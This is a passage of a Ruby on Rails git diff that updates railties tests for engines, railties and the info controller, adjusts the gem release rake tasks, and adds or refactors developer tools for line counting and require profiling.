- @controller.stubs(:local_request? => true)
@routes = Rails.application.routes
Rails::InfoController.send(:include, @routes.url_helpers)
+
+ @request.env["REMOTE_ADDR"] = "127.0.0.1"
end
test "info controller does not allow remote requests" do
- @controller.stubs(local_request?: false)
+ @request.env["REMOTE_ADDR"] = "example.org"
get :properties
assert_response :forbidden
end
test "info controller renders an error message when request was forbidden" do
- @controller.stubs(local_request?: false)
+ @request.env["REMOTE_ADDR"] = "example.org"
get :properties
assert_select 'p'
end
test "info controller allows requests when all requests are considered local" do
- @controller.stubs(local_request?: true)
get :properties
assert_response :success
end
@@ -50,7 +50,7 @@ class InfoControllerTest < ActionController::TestCase
test "info controller renders with routes" do
get :routes
- assert_select 'pre'
+ assert_response :success
end
end
diff --git a/railties/test/rails_info_test.rb b/railties/test/rails_info_test.rb
index b9fb071d23..92e4af25b5 100644
--- a/railties/test/rails_info_test.rb
+++ b/railties/test/rails_info_test.rb
@@ -37,15 +37,9 @@ class InfoTest < ActiveSupport::TestCase
assert_property 'Goodbye', 'World'
end
- def test_framework_version
- assert_property 'Active Support version', ActiveSupport::VERSION::STRING
- end
-
- def test_frameworks_exist
- Rails::Info.frameworks.each do |framework|
- dir = File.dirname(__FILE__) + "/../../" + framework.delete('_')
- assert File.directory?(dir), "#{framework.classify} does not exist"
- end
+ def test_rails_version
+ assert_property 'Rails version',
+ File.read(File.realpath('../../../RAILS_VERSION', __FILE__)).chomp
end
def test_html_includes_middleware
@@ -61,16 +55,6 @@ class InfoTest < ActiveSupport::TestCase
end
protected
- def svn_info=(info)
- Rails::Info.module_eval do
- class << self
- def svn_info
- info
- end
- end
- end
- end
-
def properties
Rails::Info.properties
end
diff --git a/railties/test/railties/engine_test.rb b/railties/test/railties/engine_test.rb
index fcbe7b6cda..260ee0eda9 100644
--- a/railties/test/railties/engine_test.rb
+++ b/railties/test/railties/engine_test.rb
@@ -34,6 +34,7 @@ module RailtiesTest
test "serving sprocket's assets" do
@plugin.write "app/assets/javascripts/engine.js.erb", "<%= :alert %>();"
+ add_to_env_config "development", "config.assets.digest = false"
boot_rails
require 'rack/test'
@@ -90,8 +91,8 @@ module RailtiesTest
Dir.chdir(app_path) do
output = `bundle exec rake bukkits:install:migrations`
- assert File.exists?("#{app_path}/db/migrate/2_create_users.bukkits.rb")
- assert File.exists?("#{app_path}/db/migrate/3_add_last_name_to_users.bukkits.rb")
+ assert File.exist?("#{app_path}/db/migrate/2_create_users.bukkits.rb")
+ assert File.exist?("#{app_path}/db/migrate/3_add_last_name_to_users.bukkits.rb")
assert_match(/Copied migration 2_create_users.bukkits.rb from bukkits/, output)
assert_match(/Copied migration 3_add_last_name_to_users.bukkits.rb from bukkits/, output)
assert_match(/NOTE: Migration 3_create_sessions.rb from bukkits has been skipped/, output)
@@ -105,12 +106,80 @@ module RailtiesTest
assert_not_nil bukkits_migration_order, "Expected migration to be skipped"
migrations_count = Dir["#{app_path}/db/migrate/*.rb"].length
- output = `bundle exec rake railties:install:migrations`
+ `bundle exec rake railties:install:migrations`
assert_equal migrations_count, Dir["#{app_path}/db/migrate/*.rb"].length
end
end
+ test 'respects the order of railties when installing migrations' do
+ @blog = engine "blog" do |plugin|
+ plugin.write "lib/blog.rb", <<-RUBY
+ module Blog
+ class Engine < ::Rails::Engine
+ end
+ end
+ RUBY
+ end
+
+ @plugin.write "db/migrate/1_create_users.rb", <<-RUBY
+ class CreateUsers < ActiveRecord::Migration
+ end
+ RUBY
+
+ @blog.write "db/migrate/2_create_blogs.rb", <<-RUBY
+ class CreateBlogs < ActiveRecord::Migration
+ end
+ RUBY
+
+ add_to_config("config.railties_order = [Bukkits::Engine, Blog::Engine, :all, :main_app]")
+
+ boot_rails
+
+ Dir.chdir(app_path) do
+ output = `bundle exec rake railties:install:migrations`.split("\n")
+
+ assert_match(/Copied migration \d+_create_users.bukkits.rb from bukkits/, output.first)
+ assert_match(/Copied migration \d+_create_blogs.blog_engine.rb from blog_engine/, output.last)
+ end
+ end
+
+ test "dont reverse default railties order" do
+ @api = engine "api" do |plugin|
+ plugin.write "lib/api.rb", <<-RUBY
+ module Api
+ class Engine < ::Rails::Engine; end
+ end
+ RUBY
+ end
+
+ # added last but here is loaded before api engine
+ @core = engine "core" do |plugin|
+ plugin.write "lib/core.rb", <<-RUBY
+ module Core
+ class Engine < ::Rails::Engine; end
+ end
+ RUBY
+ end
+
+ @core.write "db/migrate/1_create_users.rb", <<-RUBY
+ class CreateUsers < ActiveRecord::Migration; end
+ RUBY
+
+ @api.write "db/migrate/2_create_keys.rb", <<-RUBY
+ class CreateKeys < ActiveRecord::Migration; end
+ RUBY
+
+ boot_rails
+
+ Dir.chdir(app_path) do
+ output = `bundle exec rake railties:install:migrations`.split("\n")
+
+ assert_match(/Copied migration \d+_create_users.core_engine.rb from core_engine/, output.first)
+ assert_match(/Copied migration \d+_create_keys.api_engine.rb from api_engine/, output.last)
+ end
+ end
+
test "mountable engine should copy migrations within engine_path" do
@plugin.write "lib/bukkits.rb", <<-RUBY
module Bukkits
@@ -136,7 +205,7 @@ module RailtiesTest
Dir.chdir(@plugin.path) do
output = `bundle exec rake app:bukkits:install:migrations`
- assert File.exists?("#{app_path}/db/migrate/0_add_first_name_to_users.bukkits.rb")
+ assert File.exist?("#{app_path}/db/migrate/0_add_first_name_to_users.bukkits.rb")
assert_match(/Copied migration 0_add_first_name_to_users.bukkits.rb from bukkits/, output)
assert_equal 1, Dir["#{app_path}/db/migrate/*.rb"].length
end
@@ -187,7 +256,7 @@ module RailtiesTest
assert_equal "Hello bukkits\n", response[2].body
end
- test "adds its views to view paths with lower proriority than app ones" do
+ test "adds its views to view paths with lower priority than app ones" do
@plugin.write "app/controllers/bukkit_controller.rb", <<-RUBY
class BukkitController < ActionController::Base
def index
@@ -270,7 +339,7 @@ module RailtiesTest
RUBY
app_file "config/routes.rb", <<-RUBY
- AppTemplate::Application.routes.draw do
+ Rails.application.routes.draw do
get 'foo', :to => 'foo#index'
end
RUBY
@@ -345,7 +414,7 @@ YAML
#{RAILS_FRAMEWORK_ROOT}/activesupport/lib/active_support/locale/en.yml
#{RAILS_FRAMEWORK_ROOT}/activemodel/lib/active_model/locale/en.yml
#{RAILS_FRAMEWORK_ROOT}/activerecord/lib/active_record/locale/en.yml
- #{RAILS_FRAMEWORK_ROOT}/actionpack/lib/action_view/locale/en.yml
+ #{RAILS_FRAMEWORK_ROOT}/actionview/lib/action_view/locale/en.yml
#{@plugin.path}/config/locales/en.yml
#{app_path}/config/locales/en.yml
#{app_path}/app/locales/en.yml
@@ -399,7 +468,7 @@ YAML
assert $plugin_initializer
end
- test "midleware referenced in configuration" do
+ test "middleware referenced in configuration" do
@plugin.write "lib/bukkits.rb", <<-RUBY
class Bukkits
def initialize(app)
@@ -416,11 +485,6 @@ YAML
boot_rails
end
- test "Rails::Engine itself does not respond to config" do
- boot_rails
- assert !Rails::Engine.respond_to?(:config)
- end
-
test "initializers are executed after application configuration initializers" do
@plugin.write "lib/bukkits.rb", <<-RUBY
module Bukkits
@@ -454,12 +518,12 @@ YAML
def call(env)
response = @app.call(env)
- response[2].each { |b| b.upcase! }
+ response[2].each(&:upcase!)
response
end
end
- test "engine is a rack app and can have his own middleware stack" do
+ test "engine is a rack app and can have its own middleware stack" do
add_to_config("config.action_dispatch.show_exceptions = false")
@plugin.write "lib/bukkits.rb", <<-RUBY
@@ -472,7 +536,7 @@ YAML
RUBY
app_file "config/routes.rb", <<-RUBY
- AppTemplate::Application.routes.draw do
+ Rails.application.routes.draw do
mount(Bukkits::Engine => "/bukkits")
end
RUBY
@@ -568,7 +632,7 @@ YAML
@plugin.write "lib/bukkits.rb", <<-RUBY
module Bukkits
class Engine < ::Rails::Engine
- endpoint lambda { |env| [200, {'Content-Type' => 'text/html'}, 'hello'] }
+ endpoint lambda { |env| [200, {'Content-Type' => 'text/html'}, ['hello']] }
end
end
RUBY
@@ -597,17 +661,21 @@ YAML
@plugin.write "app/models/bukkits/post.rb", <<-RUBY
module Bukkits
class Post
- extend ActiveModel::Naming
+ include ActiveModel::Model
def to_param
"1"
end
+
+ def persisted?
+ true
+ end
end
end
RUBY
app_file "config/routes.rb", <<-RUBY
- AppTemplate::Application.routes.draw do
+ Rails.application.routes.draw do
get "/bar" => "bar#index", as: "bar"
mount Bukkits::Engine => "/bukkits", as: "bukkits"
end
@@ -709,8 +777,7 @@ YAML
@plugin.write "app/models/bukkits/post.rb", <<-RUBY
module Bukkits
class Post
- extend ActiveModel::Naming
- include ActiveModel::Conversion
+ include ActiveModel::Model
attr_accessor :title
def to_param
@@ -725,7 +792,7 @@ YAML
RUBY
app_file "config/routes.rb", <<-RUBY
- AppTemplate::Application.routes.draw do
+ Rails.application.routes.draw do
mount Bukkits::Engine => "/bukkits", as: "bukkits"
end
RUBY
@@ -769,7 +836,7 @@ YAML
RUBY
app_file "config/routes.rb", <<-RUBY
- AppTemplate::Application.routes.draw do
+ Rails.application.routes.draw do
mount Bukkits::Awesome::Engine => "/bukkits", :as => "bukkits"
end
RUBY
@@ -833,7 +900,7 @@ YAML
add_to_config "isolate_namespace AppTemplate"
app_file "config/routes.rb", <<-RUBY
- AppTemplate::Application.routes.draw do end
+ Rails.application.routes.draw do end
RUBY
boot_rails
@@ -1082,6 +1149,7 @@ YAML
RUBY
add_to_config("config.railties_order = [:all, :main_app, Blog::Engine]")
+ add_to_env_config "development", "config.assets.digest = false"
boot_rails
@@ -1211,7 +1279,7 @@ YAML
RUBY
app_file "config/routes.rb", <<-RUBY
- AppTemplate::Application.routes.draw do
+ Rails.application.routes.draw do
get '/bar' => 'bar#index', :as => 'bar'
mount Bukkits::Engine => "/bukkits", :as => "bukkits"
end
diff --git a/railties/test/railties/generators_test.rb b/railties/test/railties/generators_test.rb
index 0abb2b7578..7348d70c56 100644
--- a/railties/test/railties/generators_test.rb
+++ b/railties/test/railties/generators_test.rb
@@ -44,7 +44,7 @@ module RailtiesTests
Dir.chdir(engine_path) do
File.open("Gemfile", "w") do |f|
f.write <<-GEMFILE.gsub(/^ {12}/, '')
- source "http://rubygems.org"
+ source "https://rubygems.org"
gem 'rails', path: '#{RAILS_FRAMEWORK_ROOT}'
gem 'sqlite3'
diff --git a/railties/test/railties/mounted_engine_test.rb b/railties/test/railties/mounted_engine_test.rb
index a1c52f01dc..fb2071c7c3 100644
--- a/railties/test/railties/mounted_engine_test.rb
+++ b/railties/test/railties/mounted_engine_test.rb
@@ -13,9 +13,10 @@ module ApplicationTests
@simple_plugin = engine "weblog"
@plugin = engine "blog"
+ @metrics_plugin = engine "metrics"
app_file 'config/routes.rb', <<-RUBY
- AppTemplate::Application.routes.draw do
+ Rails.application.routes.draw do
mount Weblog::Engine, :at => '/', :as => 'weblog'
resources :posts
get "/engine_route" => "application_generating#engine_route"
@@ -28,6 +29,7 @@ module ApplicationTests
scope "/:user", :user => "anonymous" do
mount Blog::Engine => "/blog"
end
+ mount Metrics::Engine => "/metrics"
root :to => 'main#index'
end
RUBY
@@ -54,22 +56,46 @@ module ApplicationTests
end
RUBY
+ @metrics_plugin.write "lib/metrics.rb", <<-RUBY
+ module Metrics
+ class Engine < ::Rails::Engine
+ isolate_namespace(Metrics)
+ end
+ end
+ RUBY
+
+ @metrics_plugin.write "config/routes.rb", <<-RUBY
+ Metrics::Engine.routes.draw do
+ get '/generate_blog_route', to: 'generating#generate_blog_route'
+ get '/generate_blog_route_in_view', to: 'generating#generate_blog_route_in_view'
+ end
+ RUBY
+
+ @metrics_plugin.write "app/controllers/metrics/generating_controller.rb", <<-RUBY
+ module Metrics
+ class GeneratingController < ActionController::Base
+ def generate_blog_route
+ render text: blog.post_path(1)
+ end
+
+ def generate_blog_route_in_view
+ render inline: "<%= blog.post_path(1) -%>"
+ end
+ end
+ end
+ RUBY
@plugin.write "app/models/blog/post.rb", <<-RUBY
module Blog
class Post
- extend ActiveModel::Naming
+ include ActiveModel::Model
def id
44
end
- def to_param
- id.to_s
- end
-
- def new_record?
- false
+ def persisted?
+ true
end
end
end
@@ -89,6 +115,7 @@ module ApplicationTests
get '/generate_application_route', to: 'posts#generate_application_route'
get '/application_route_in_view', to: 'posts#application_route_in_view'
get '/engine_polymorphic_path', to: 'posts#engine_polymorphic_path'
+ get '/engine_asset_path', to: 'posts#engine_asset_path'
end
RUBY
@@ -113,6 +140,10 @@ module ApplicationTests
def engine_polymorphic_path
render text: polymorphic_path(Post.new)
end
+
+ def engine_asset_path
+ render inline: "<%= asset_path 'images/foo.png' %>"
+ end
end
end
RUBY
@@ -196,6 +227,21 @@ module ApplicationTests
get "/somone/blog/application_route_in_view"
assert_equal "/", last_response.body
+ # test generating engine's route from other engine
+ get "/metrics/generate_blog_route"
+ assert_equal '/anonymous/blog/posts/1', last_response.body
+
+ get "/metrics/generate_blog_route_in_view"
+ assert_equal '/anonymous/blog/posts/1', last_response.body
+
+ # test generating engine's route from other engine with default_url_options
+ get "/metrics/generate_blog_route", {}, 'SCRIPT_NAME' => '/foo'
+ assert_equal '/foo/anonymous/blog/posts/1', last_response.body
+
+ get "/metrics/generate_blog_route_in_view", {}, 'SCRIPT_NAME' => '/foo'
+ assert_equal '/foo/anonymous/blog/posts/1', last_response.body
+
+
# test generating application's route from engine with default_url_options
get "/someone/blog/generate_application_route", {}, 'SCRIPT_NAME' => '/foo'
assert_equal "/foo/", last_response.body
@@ -211,6 +257,10 @@ module ApplicationTests
# and in an application
get "/application_polymorphic_path"
assert_equal "/posts/44", last_response.body
+
+ # test that asset path will not get script_name when generated in the engine
+ get "/someone/blog/engine_asset_path"
+ assert_equal "/images/foo.png", last_response.body
end
test "route path for controller action when engine is mounted at root" do
diff --git a/railties/test/railties/railtie_test.rb b/railties/test/railties/railtie_test.rb
index c80b0f63af..5042d628cf 100644
--- a/railties/test/railties/railtie_test.rb
+++ b/railties/test/railties/railtie_test.rb
@@ -19,33 +19,26 @@ module RailtiesTest
@app ||= Rails.application
end
- test "Rails::Railtie itself does not respond to config" do
- assert !Rails::Railtie.respond_to?(:config)
+ test "cannot instantiate a Railtie object" do
+ assert_raise(RuntimeError) { Rails::Railtie.new }
end
test "Railtie provides railtie_name" do
begin
class ::FooBarBaz < Rails::Railtie ; end
- assert_equal "foo_bar_baz", ::FooBarBaz.railtie_name
+ assert_equal "foo_bar_baz", FooBarBaz.railtie_name
ensure
Object.send(:remove_const, :"FooBarBaz")
end
end
- test "railtie_name can be set manualy" do
+ test "railtie_name can be set manually" do
class Foo < Rails::Railtie
railtie_name "bar"
end
assert_equal "bar", Foo.railtie_name
end
- test "cannot inherit from a railtie" do
- class Foo < Rails::Railtie ; end
- assert_raise RuntimeError do
- class Bar < Foo; end
- end
- end
-
test "config is available to railtie" do
class Foo < Rails::Railtie ; end
assert_nil Foo.config.action_controller.foo
@@ -65,7 +58,7 @@ module RailtiesTest
config.foo.greetings = "hello"
end
require "#{app_path}/config/application"
- assert_equal "hello", AppTemplate::Application.config.foo.greetings
+ assert_equal "hello", Rails.application.config.foo.greetings
end
test "railtie can add to_prepare callbacks" do
@@ -79,6 +72,14 @@ module RailtiesTest
assert $to_prepare
end
+ test "railtie have access to application in before_configuration callbacks" do
+ $before_configuration = false
+ class Foo < Rails::Railtie ; config.before_configuration { $before_configuration = Rails.root.to_path } ; end
+ assert_not $before_configuration
+ require "#{app_path}/config/environment"
+ assert_equal app_path, $before_configuration
+ end
+
test "railtie can add after_initialize callbacks" do
$after_initialize = false
class Foo < Rails::Railtie ; config.after_initialize { $after_initialize = true } ; end
@@ -103,7 +104,7 @@ module RailtiesTest
require 'rake/testtask'
require 'rdoc/task'
- AppTemplate::Application.load_tasks
+ Rails.application.load_tasks
assert $ran_block
end
@@ -127,7 +128,7 @@ module RailtiesTest
require 'rake/testtask'
require 'rdoc/task'
- AppTemplate::Application.load_tasks
+ Rails.application.load_tasks
assert $ran_block.include?("my_tie")
end
@@ -143,7 +144,7 @@ module RailtiesTest
require "#{app_path}/config/environment"
assert !$ran_block
- AppTemplate::Application.load_generators
+ Rails.application.load_generators
assert $ran_block
end
@@ -159,7 +160,7 @@ module RailtiesTest
require "#{app_path}/config/environment"
assert !$ran_block
- AppTemplate::Application.load_console
+ Rails.application.load_console
assert $ran_block
end
@@ -175,7 +176,7 @@ module RailtiesTest
require "#{app_path}/config/environment"
assert !$ran_block
- AppTemplate::Application.load_runner
+ Rails.application.load_runner
assert $ran_block
end
diff --git a/railties/test/script_rails_loader_test.rb b/railties/test/script_rails_loader_test.rb
deleted file mode 100644
index 3ccc147749..0000000000
--- a/railties/test/script_rails_loader_test.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-require 'abstract_unit'
-require 'rails/script_rails_loader'
-
-class ScriptRailsLoaderTest < ActiveSupport::TestCase
-
- test "is in a rails application if script/rails exists" do
- File.stubs(:exists?).returns(true)
- assert Rails::ScriptRailsLoader.in_rails_application?
- end
-
- test "is in a rails application if parent directory has script/rails" do
- File.stubs(:exists?).with("/foo/bar/script/rails").returns(false)
- File.stubs(:exists?).with("/foo/script/rails").returns(true)
- assert Rails::ScriptRailsLoader.in_rails_application_subdirectory?(Pathname.new("/foo/bar"))
- end
-
- test "is not in a rails application if at the root directory and doesn't have script/rails" do
- Pathname.any_instance.stubs(:root?).returns true
- assert !Rails::ScriptRailsLoader.in_rails_application?
- end
-
-end \ No newline at end of file
diff --git a/railties/test/test_info_test.rb b/railties/test/test_info_test.rb
new file mode 100644
index 0000000000..b9c3a9c0c7
--- /dev/null
+++ b/railties/test/test_info_test.rb
@@ -0,0 +1,60 @@
+require 'abstract_unit'
+require 'rails/test_unit/sub_test_task'
+
+module Rails
+ class TestInfoTest < ActiveSupport::TestCase
+ def test_test_files
+ info = new_test_info ['test']
+ assert_predicate info.files, :empty?
+ assert_nil info.opts
+ assert_equal ['test'], info.tasks
+ end
+
+ def test_with_file
+ info = new_test_info ['test', __FILE__]
+ assert_equal [__FILE__], info.files
+ assert_nil info.opts
+ assert_equal ['test'], info.tasks
+ end
+
+ def test_with_opts
+ info = new_test_info ['test', __FILE__, '/foo/']
+ assert_equal [__FILE__], info.files
+ assert_equal '-n /foo/', info.opts
+ assert_equal ['test'], info.tasks
+ end
+
+ def test_with_model_shorthand
+ info = new_test_info ['test', 'models/foo', '/foo/']
+
+ def info.test_file?(file)
+ file == "test/models/foo_test.rb" || super
+ end
+
+ assert_equal ['test/models/foo_test.rb'], info.files
+ assert_equal '-n /foo/', info.opts
+ assert_equal ['test'], info.tasks
+ end
+
+ def test_with_model_path
+ info = new_test_info ['test', 'app/models/foo.rb', '/foo/']
+
+ def info.test_file?(file)
+ file == "test/models/foo_test.rb" || super
+ end
+
+ assert_equal ['test/models/foo_test.rb'], info.files
+ assert_equal '-n /foo/', info.opts
+ assert_equal ['test'], info.tasks
+ end
+
+ private
+ def new_test_info(tasks)
+ Class.new(TestTask::TestInfo) {
+ def task_defined?(task)
+ task == "test"
+ end
+ }.new tasks
+ end
+ end
+end
diff --git a/railties/test/version_test.rb b/railties/test/version_test.rb
new file mode 100644
index 0000000000..f270d8f0c9
--- /dev/null
+++ b/railties/test/version_test.rb
@@ -0,0 +1,12 @@
+require 'abstract_unit'
+
+class VersionTest < ActiveSupport::TestCase
+ def test_rails_version_returns_a_string
+ assert Rails.version.is_a? String
+ end
+
+ def test_rails_gem_version_returns_a_correct_gem_version_object
+ assert Rails.gem_version.is_a? Gem::Version
+ assert_equal Rails.version, Rails.gem_version.to_s
+ end
+end
diff --git a/tasks/release.rb b/tasks/release.rb
index 650b381e0f..729e0761ad 100644
--- a/tasks/release.rb
+++ b/tasks/release.rb
@@ -1,4 +1,4 @@
-FRAMEWORKS = %w( activesupport activemodel activerecord actionpack actionmailer railties )
+FRAMEWORKS = %w( activesupport activemodel activerecord actionview actionpack actionmailer railties activejob )
root = File.expand_path('../../', __FILE__)
version = File.read("#{root}/RAILS_VERSION").strip
@@ -15,10 +15,14 @@ directory "pkg"
rm_f gem
end
- task :update_version_rb do
+ task :update_versions do
glob = root.dup
- glob << "/#{framework}/lib/*" unless framework == "rails"
- glob << "/version.rb"
+ if framework == "rails"
+ glob << "/version.rb"
+ else
+ glob << "/#{framework}/lib/*"
+ glob << "/gem_version.rb"
+ end
file = Dir[glob].first
ruby = File.read(file)
@@ -26,22 +30,22 @@ directory "pkg"
major, minor, tiny, pre = version.split('.')
pre = pre ? pre.inspect : "nil"
- ruby.gsub!(/^(\s*)MAJOR = .*?$/, "\\1MAJOR = #{major}")
+ ruby.gsub!(/^(\s*)MAJOR(\s*)= .*?$/, "\\1MAJOR = #{major}")
raise "Could not insert MAJOR in #{file}" unless $1
- ruby.gsub!(/^(\s*)MINOR = .*?$/, "\\1MINOR = #{minor}")
+ ruby.gsub!(/^(\s*)MINOR(\s*)= .*?$/, "\\1MINOR = #{minor}")
raise "Could not insert MINOR in #{file}" unless $1
- ruby.gsub!(/^(\s*)TINY = .*?$/, "\\1TINY = #{tiny}")
+ ruby.gsub!(/^(\s*)TINY(\s*)= .*?$/, "\\1TINY = #{tiny}")
raise "Could not insert TINY in #{file}" unless $1
- ruby.gsub!(/^(\s*)PRE = .*?$/, "\\1PRE = #{pre}")
+ ruby.gsub!(/^(\s*)PRE(\s*)= .*?$/, "\\1PRE = #{pre}")
raise "Could not insert PRE in #{file}" unless $1
File.open(file, 'w') { |f| f.write ruby }
end
- task gem => %w(update_version_rb pkg) do
+ task gem => %w(update_versions pkg) do
cmd = ""
cmd << "cd #{framework} && " unless framework == "rails"
cmd << "gem build #{gemspec} && mv #{framework}-#{version}.gem #{root}/pkg/"
@@ -63,7 +67,7 @@ end
namespace :changelog do
task :release_date do
- FRAMEWORKS.each do |fw|
+ (FRAMEWORKS + ['guides']).each do |fw|
require 'date'
replace = '\1(' + Date.today.strftime('%B %d, %Y') + ')'
fname = File.join fw, 'CHANGELOG.md'
@@ -74,7 +78,7 @@ namespace :changelog do
end
task :release_summary do
- FRAMEWORKS.each do |fw|
+ (FRAMEWORKS + ['guides']).each do |fw|
puts "## #{fw}"
fname = File.join fw, 'CHANGELOG.md'
contents = File.readlines fname
@@ -88,16 +92,17 @@ namespace :changelog do
end
namespace :all do
- task :build => FRAMEWORKS.map { |f| "#{f}:build" } + ['rails:build']
- task :install => FRAMEWORKS.map { |f| "#{f}:install" } + ['rails:install']
- task :push => FRAMEWORKS.map { |f| "#{f}:push" } + ['rails:push']
+ task :build => FRAMEWORKS.map { |f| "#{f}:build" } + ['rails:build']
+ task :update_versions => FRAMEWORKS.map { |f| "#{f}:update_versions" } + ['rails:update_versions']
+ task :install => FRAMEWORKS.map { |f| "#{f}:install" } + ['rails:install']
+ task :push => FRAMEWORKS.map { |f| "#{f}:push" } + ['rails:push']
task :ensure_clean_state do
unless `git status -s | grep -v RAILS_VERSION`.strip.empty?
abort "[ABORTING] `git status` reports a dirty tree. Make sure all changes are committed"
end
- unless ENV['SKIP_TAG'] || `git tag | grep #{tag}`.strip.empty?
+ unless ENV['SKIP_TAG'] || `git tag | grep '^#{tag}$'`.strip.empty?
abort "[ABORTING] `git tag` shows that #{tag} already exists. Has this version already\n"\
" been released? Git tagging can be skipped by setting SKIP_TAG=1"
end
@@ -115,7 +120,7 @@ namespace :all do
end
task :tag do
- sh "git tag #{tag}"
+ sh "git tag -m '#{tag} release' #{tag}"
sh "git push --tags"
end
diff --git a/tools/README.md b/tools/README.md
new file mode 100644
index 0000000000..25ab798bd5
--- /dev/null
+++ b/tools/README.md
@@ -0,0 +1,7 @@
+## Rails dev tools
+
+This is a collection of utilities used for Rails internal development.
+They aren't used by Rails apps directly.
+
+ * `console` drops you in irb and loads local Rails repos
+ * `profile` profiles `Kernel#require` to help reduce startup time
diff --git a/tools/line_statistics b/tools/line_statistics
new file mode 100644
index 0000000000..bfa921b095
--- /dev/null
+++ b/tools/line_statistics
@@ -0,0 +1,42 @@
+# Class used to calculates LOC for a provided file list.
+#
+# Example:
+# files = FileList["lib/active_record/**/*.rb"]
+# CodeTools::LineStatistics.new(files).print_loc
+module CodeTools
+ class LineStatistics
+
+ # @param files [Array, FileList, Enumerable]
+ # e.g. FileList["lib/active_record/**/*.rb"]
+ def initialize(files)
+ @files = Array(files).compact
+ end
+
+ # Calculates LOC for each file
+ # Outputs each file and a total LOC
+ def print_loc
+ lines, codelines, total_lines, total_codelines = 0, 0, 0, 0
+
+ @files.each do |file_name|
+ next if file_name =~ /vendor/
+ File.open(file_name, 'r') do |f|
+ while line = f.gets
+ lines += 1
+ next if line =~ /^\s*$/
+ next if line =~ /^\s*#/
+ codelines += 1
+ end
+ end
+ puts "L: #{sprintf("%4d", lines)}, LOC #{sprintf("%4d", codelines)} | #{file_name}"
+
+ total_lines += lines
+ total_codelines += codelines
+
+ lines, codelines = 0, 0
+ end
+
+ puts "Total: Lines #{total_lines}, LOC #{total_codelines}"
+ end
+
+ end
+end
diff --git a/tools/profile b/tools/profile
index 665efe049d..eb7fc7792b 100755
--- a/tools/profile
+++ b/tools/profile
@@ -1,72 +1,136 @@
#!/usr/bin/env ruby
+# Profile require calls giving information about the time and the files that are called
+# when loading the provided file.
+#
# Example:
-# tools/profile activesupport/lib/active_support.rb
+# tools/profile activesupport/lib/active_support.rb [ruby-prof mode] [ruby-prof printer]
ENV['NO_RELOAD'] ||= '1'
ENV['RAILS_ENV'] ||= 'development'
-Gem.source_index
-require 'benchmark'
+module CodeTools
+ class Profiler
+ Error = Class.new(StandardError)
-module RequireProfiler
- private
- def require(file, *args) RequireProfiler.profile(file) { super } end
- def load(file, *args) RequireProfiler.profile(file) { super } end
+ attr_reader :path, :mode
+ def initialize(path, mode=nil)
+ assert_ruby_file_exists(path)
+ @path, @mode = path, mode
+ require 'benchmark'
+ end
+
+ def profile_requires
+ GC.start
+ before_rss = `ps -o rss= -p #{Process.pid}`.to_i
+
+ if mode
+ require 'ruby-prof'
+ RubyProf.measure_mode = RubyProf.const_get(mode.upcase)
+ RubyProf.start
+ else
+ Object.instance_eval { include RequireProfiler }
+ end
+
+ elapsed = Benchmark.realtime { require path }
+ results = RubyProf.stop if mode
- @depth, @stats = 0, []
- class << self
- attr_accessor :depth
- attr_accessor :stats
+ GC.start
+ after_rss = `ps -o rss= -p #{Process.pid}`.to_i
- def profile(file)
- stats << [file, depth]
- self.depth += 1
- result = nil
- elapsed = Benchmark.realtime { result = yield }
- self.depth -= 1
- stats.pop if stats.last.first == file
- stats << [file, depth, elapsed] if result
- result
+ if mode
+ if printer = ARGV.shift
+ puts "RubyProf outputting to stderr with printer #{printer}"
+ RubyProf.const_get("#{printer.to_s.classify}Printer").new(results).print($stdout)
+ elsif RubyProf.const_defined?(:CallStackPrinter)
+ filename = "#{File.basename(path, '.rb')}.#{mode}.html"
+ puts "RubyProf outputting to #{filename}"
+ File.open(filename, 'w') do |out|
+ RubyProf::CallStackPrinter.new(results).print(out)
+ end
+ else
+ filename = "#{File.basename(path, '.rb')}.#{mode}.callgrind"
+ puts "RubyProf outputting to #{filename}"
+ File.open(filename, 'w') do |out|
+ RubyProf::CallTreePrinter.new(results).print(out)
+ end
+ end
+ end
+
+ RequireProfiler.stats.each do |file, depth, sec|
+ if sec
+ puts "%8.1f ms %s%s" % [sec * 1000, ' ' * depth, file]
+ else
+ puts "#{' ' * (13 + depth)}#{file}"
+ end
+ end
+ puts "%8.1f ms %d KB RSS" % [elapsed * 1000, after_rss - before_rss]
end
- end
-end
-GC.start
-before_rss = `ps -o rss= -p #{Process.pid}`.to_i
+ private
-path = ARGV.shift
-if mode = ARGV.shift
- require 'ruby-prof'
- RubyProf.measure_mode = RubyProf.const_get(mode.upcase)
- RubyProf.start
-else
- Object.instance_eval { include RequireProfiler }
-end
+ def assert_ruby_file_exists(path)
+ fail Error.new("No such file") unless File.exist?(path)
+ fail Error.new("#{path} is a directory") if File.directory?(path)
+ ruby_extension = File.extname(path) == '.rb'
+ ruby_executable = File.open(path, 'rb') {|f| f.readline } =~ [/\A#!.*ruby/]
+ fail Error.new("Not a ruby file") unless ruby_extension or ruby_executable
+ end
-elapsed = Benchmark.realtime { require path }
-results = RubyProf.stop if mode
+ module RequireProfiler
+ private
+ def require(file, *args) RequireProfiler.profile(file) { super } end
+ def load(file, *args) RequireProfiler.profile(file) { super } end
-GC.start
-after_rss = `ps -o rss= -p #{Process.pid}`.to_i
+ @depth, @stats = 0, []
+ class << self
+ attr_accessor :depth
+ attr_accessor :stats
-if mode
- if printer = ARGV.shift
- RubyProf.const_get("#{printer.to_s.classify}Printer").new(results).print($stdout)
- elsif RubyProf.const_defined?(:CallStackPrinter)
- File.open("#{File.basename(path, '.rb')}.#{mode}.html", 'w') do |out|
- RubyProf::CallStackPrinter.new(results).print(out)
+ def profile(file)
+ stats << [file, depth]
+ self.depth += 1
+ result = nil
+ elapsed = Benchmark.realtime { result = yield }
+ self.depth -= 1
+ stats.pop if stats.last.first == file
+ stats << [file, depth, elapsed] if result
+ result
+ end
+ end
end
- else
- File.open("#{File.basename(path, '.rb')}.#{mode}.callgrind", 'w') do |out|
- RubyProf::CallTreePrinter.new(results).print(out)
+ end
+end
+# ruby-prof printer name causes the third arg to be sent :classify
+# which is probably overkill if you already know the name of the ruby-prof
+# printer you want to use, e.g. Graph
+begin
+ require 'active_support/inflector'
+ require 'active_support/core_ext/string/inflections'
+rescue LoadError
+ STDERR.puts $!.message
+ class String
+ # File activesupport/lib/active_support/inflector/methods.rb, line 150
+ def classify
+ # strip out any leading schema name
+ camelize(self.sub(/.*\./, ''))
+ end
+ # File activesupport/lib/active_support/inflector/methods.rb, line 68
+ def camelize(uppercase_first_letter = true)
+ string = self
+ if uppercase_first_letter
+ string = string.sub(/^[a-z\d]*/) { $&.capitalize }
+ else
